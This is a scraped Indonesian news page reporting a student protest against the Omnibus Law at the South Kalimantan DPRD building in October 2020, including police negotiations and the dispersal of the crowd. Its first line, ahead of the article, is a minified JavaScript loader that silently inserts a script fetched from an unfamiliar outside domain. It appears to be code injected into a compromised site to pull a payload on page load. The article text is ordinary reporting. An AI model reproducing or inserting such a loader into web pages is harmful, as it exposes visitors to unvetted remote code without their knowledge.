(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mahasiswa menunaikan janjinya untuk menunggui gedung DPRD Kalsel hingga lewat tengah malam, dalam aksi penolakan Omnibus Law, Jumat (16/10/2020) dini hari pukul 00.00 Wita. Massa pun akhirnya membubarkan diri dengan kawalan polisi.
Usai melewati negosiasi berkali-kali antara mahasiswa dan polisi, akhirnya ada kata sepakat mahasiswa mundur. Pantauan kanalkalimantan.com, saat melakukan negosiasi yang dilakukan Kapolresta Banjarmasin dengan Ketua BEM se Kalsel Ahdiat Zairullah.
Ahdiat sempat memaksa untuk tetap bertahan. “Kami akan tetap bertahan, walaupun massa kami sudsh berkurang akan tetapi mahasiswa yang bertahan di sini akan menginap dan bukti bahwa kami tidak percaya terhadap DPR RI” tegasnya.
Menanggapi keputusan dari massa, Kapolres Kota Banjarmasin, Kombes Rachmat Hendrawan mengatakan, seluruh aparat Kepolisian tetap akan disiagakan untuk mengamankan gedung DPRD Provinsi Kalsel.
“Kita akan tetap berjaga, yang jelas seluruh personel jangan sampai terpancing dengan aksi massa. Kita juga tidak ingin aksi ini sampai ricuh,” ungkapnya.
Sembari membubarkan diri, mahasiswa kembali dengan menyanyikan lagu kebangsaan Indonesia Raya menuju titik kumpul awal di Taman Kamboja Bajarmasin.
Sebelumnya, buntunya negosiasi antara polisi dengan mahasiswa menyebabkan massa penolak UU Omnibus Law yang menggelar demo pada Kamis (15/10/2020) sejak siang tadi masih bertahan. Meskipun, saat ini polisi mulai membuka ruas jalan yang sebelumnya diduduki oleh mahasiswa.
Pembukaan akses Jl Lambung Mangkurat tersebut dilakukan polisi karena mentoknya perundingan kedua pihak. Sebelumnya, untuk mendukung penyampaian aspirasi mahasiwa, akses jalan ditutup oleh polisi hampir selama 5 jam.
Kapolda Kalsel Irjen Nico Afinta sebelumnya meminta mahasiswa membubarkan diri dan mencari hari lain untuk aksi kembali. Tapi lantaran tak ada kata sepakat, guna menghindari adanya benturan aparat dengan mahasiswa, Irjen Nico memilih menarik pasukan.
Polisi yang bertugas menjaga aksi mahasiwa pun ditarik, digantikan Polantas yang turun mengatur kelancaran arus lalu lintas di tengah mahasiswa yang masih bertahan melakukan penolakan UU Omnibus Law Ciptaker.
“Mulai jam 14.00 – 18.00 Wita, pihak pengamanan sudah memfasilitasi menutup jalan untuk aksi dari mahasiswa” kata Irjen Nico.
Kapolda mengatakan, jalan adalah fasilitas umum. Dengan kembali dibukanya akses jalan dan kondisi mahasiswa yang tetap bertahan, polisi tetap melakukan pengawalan untuk hal-hal yang tidak diinginkan.
“Sudah diturunkan polisi lalu lintas guna mengatur jalur yang sudahdmulai dilalui masyarakat,” tambahnya.
Dari pantauan Kanalkalimantan.com, mahasiswa dalam aksinya tetap melakukan orasi sambil menyanyikan lagu perjuangan. Aksi mahasiswa menjadi sorotan masyarakat yang melewati jalan, serta tak lepas juga masyarakat yang memberikan semangat kepada mahasiwa.(Kanalkalimantan.com/putra)
Reporter: Putra
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More
KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua DPD Perkumpulan Perempuan Wirausaha Indonesia (Perwira) Kalimantan Selatan, Wahidah melantik 33… Read More
This website uses cookies.